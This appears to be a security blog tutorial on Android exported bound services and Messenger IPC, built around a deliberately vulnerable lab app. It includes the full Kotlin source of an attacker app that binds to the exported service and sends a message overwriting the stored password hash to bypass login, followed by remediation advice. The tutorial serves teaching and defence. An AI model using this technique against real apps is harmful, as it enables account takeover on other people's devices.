Exploiting Exported Services: IPC Messenger

6 minute read

Hello everyone! It’s alright here. In this article we will explore the concepts of exported components, bound services, and IPC (Inter-Process Communication) in Android, what are the risks associated to them and how we can exploit them when misconfigured. I will share a vulnerable application based on a real life example I encountered during my daily job.

Prepare your Android knowledge and let’s get started.

What is a Service

A Service is an application component used to perform actions in background. A service does not run on a separate process or a separate thread and does not need a user interface. They are used for sending notifications, manage audio playback or create persistent connection between multiple processes for service-client communication. In this article we will focus our study on bound services used for inter-process communication.

Bound services are used to create a communication channel between app components or other processes and exchange data. This “channel” is created by calling bindService(), which is handled by onBind() callback.

Developers can use services inside the application context, but sometimes they are used across applications. In this case, services needs to be android:exported=true. However, other applications installed on the device become authorized to interact with exported components, posing a security risk in some situations. To bind to an exported service, we need to write another application and call bindService() method from that using an appropriate intent (implicit intents are deprecated in this case, so we need to write an explicit one).

IPC with Messsenger

As said before, this article focuses on inter-process communication using services. Developers can achieve that with a Messenger (or AIDL, not covered here). A Messenger implements a Handler used to manage callbacks coming from the client using handleMessage(). When the Messenger instance is created, the server returns an IBinder to the client, which is used to instantiate the Messenger in the client side and to send Messages. You can see a detailed explanation here.

In this example, we consider the application with the Service as the server, and the application that connects to it the client.

The server application implements the Service similarly to this example.

MessengerService.kt

class MessengerService : Service() {

    private lateinit var mMessenger: Messenger

    internal class IncomingHandler(
        looper: Looper,
        context: Context,
        private val applicationContext: Context = context.applicationContext
    ) : Handler(looper) {
        override fun handleMessage(msg: Message) {
            when (msg.what) {
                MSG_SAY_HELLO -> {
                    Toast.makeText(
                      applicationContext, "hello!", 
                      Toast.LENGTH_SHORT).show()
                    Log.d("MESSENGER","HELLO")
                }
                
                else -> super.handleMessage(msg)
            }
        }


    }
    override fun onBind(intent: Intent): IBinder {
        Toast.makeText(applicationContext, "binding", Toast.LENGTH_SHORT).show()
        mMessenger = Messenger(IncomingHandler(Looper.getMainLooper(),this))
        return mMessenger.binder
    }


}

AndroidManifest.xml

...
<service
  android:name=".MessengerService"
  android:enabled="true"
  android:exported="true">
  <intent-filter>
      <action android:name="android.intent.action.MESSENGER" />
  </intent-filter>
</service>

...

The client application connects to the service using the android.intent.action.MESSENGER action with an explicit intent.

MainActivity.kt

class MainActivity : AppCompatActivity() {

    private var mService: Messenger? = null

    private var bound: Boolean = false


    private val mConnection = object : ServiceConnection {

        override fun onServiceConnected(className: ComponentName, service: IBinder) {
            mService = Messenger(service)
            bound = true
            // we can now send messages
        }

        override fun onServiceDisconnected(className: ComponentName) {
            mService = null
            bound = false
        }
    }

    override fun onStop() {
        super.onStop()
        if (bound) {
            unbindService(mConnection)
            bound = false
        }
    }
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        Intent("android.intent.action.MESSENGER")
        .setPackage("com.alright.serviceserver")
        .also { intent ->
            val  res = bindService(intent, mConnection, Context.BIND_AUTO_CREATE)
            Log.e("bound", res.toString())
        }
    }
}

Vulnerable Scenario

Now that we have defined the components we can see how to exploit this weakness in a real-life example. What I found during my studies was an application that exposed a service to other application in order to execute some actions on the app. The purpose of this setup was for remotely control the app from the web. There was another application that served as a “proxy” from the web to the victim application. This application implements a Service that receives messages and, based on msg.what, it performs action. This application had a reserved area protected by a password, which could be updated remotely using the application “proxy”. Here is the design.

Messenger App Design
Messenger Application Design

As you may have already noticed, there is a problem with this design: any other application can act as the “proxy” and send messages to the Victim Service App.

Exploitation

I created a similar vulnerable application and the attacker application: you can find it on github. If you want to solve it by yourself, just install the ServiceServer app and try to code the ServiceClient app.

The application has a simple login page, where we can try to input some parameters, but we are not able to find any info here.

Messenger App Login
Messenger Application Login Page

Let’s start by having a look at the application with Jadx-gui. The app has three main classes: MainActivity, AdminPageActivity and MessengerService.

Messenger App Structure
Messenger Application Structure

The MainActivity initialize the sharedPreferences file with the username and the password hash of the login. Here we can see that the username is root. In fact, if we try this username with a random password, we get a Toast message saying “Incorrect Password”. Half of the job done.

Messenger App Preferences
Messenger Application sharedPreferences

In this example, the original password is a sha256 hash, so we could crack it if the password is weak, but this is not the case (if you can crack it, let me know ahah). We have to find another way to bypass this page.

Let’s have a look at the MessengerService class, where the Service is implemented. Inside the AndroidManifest.xml we can see that this service is exported and accepts an intent with action name android.intent.action.MESSENGER.

The Service implements the handleMessage() callback and accepts two type of what:

  • 1: creates a Toast message and displays it
  • 2: updates the password with a new hash

You probably already know where we are going: we need to send a message to the service with a known password hash in order to update the password and enter the administration page. How we can do it?

We need to create a malicious application that interacts with the service, binds to it, and sends a message containing the new password hash. Based on the information we detailed above, the process of creating the application should be quite easy. Here is an example of the code we can use.

MainActivity.kt

class MainActivity : AppCompatActivity() {

    private var mService: Messenger? = null

    private var bound: Boolean = false


    private val mConnection = object : ServiceConnection {

        override fun onServiceConnected(className: ComponentName, service: IBinder) {
            mService = Messenger(service)
            bound = true
            updatePassword()
        }

        override fun onServiceDisconnected(className: ComponentName) {
            mService = null
            bound = false
        }
    }


    fun updatePassword(){
        if (!bound) return
        val msg: Message = Message.obtain(null,2,0,0)
        val data = Bundle()
        data.putString("hash","2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824")

        msg.data = data

        try {
            mService?.send(msg)
            Toast.makeText(this,"Password Updated", Toast.LENGTH_SHORT)
        }catch (e:RemoteException){
            e.printStackTrace()
        }
    }


    override fun onStop() {
        super.onStop()
        if (bound) {
            unbindService(mConnection)
            bound = false
        }
    }
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        Intent("android.intent.action.MESSENGER").setPackage("com.alright.serviceserver").also { intent ->
            val  res = bindService(intent, mConnection, Context.BIND_AUTO_CREATE)
            Log.e("bound", res.toString())
        }
    }
}

From Android 11, we also need to add a queries tag inside the attacker application, in order to list the application we want to interact to.

AndroidManifest.xml

<queries>
    <package android:name="com.alright.serviceserver" />
</queries>

By running the application, we will see a Toast message saying that the password has been updated. The attack is done! We updated the password with a well-known hash, so we can easily log in into the application.

Remediation

Ok, the attack is cool, and the easy solution could be to not export the Service. However, it is necessary to export it when we need to do IPC between application. So, how can we protect our application?

As shown in the Android Developers page, we can add a row inside the Manifest to only allow applications with the same signature to access and bind to the service (use signature-level permission inside android:protectionLevel).

And that’s all for today! If you have any questions or doubts just let me know:)

References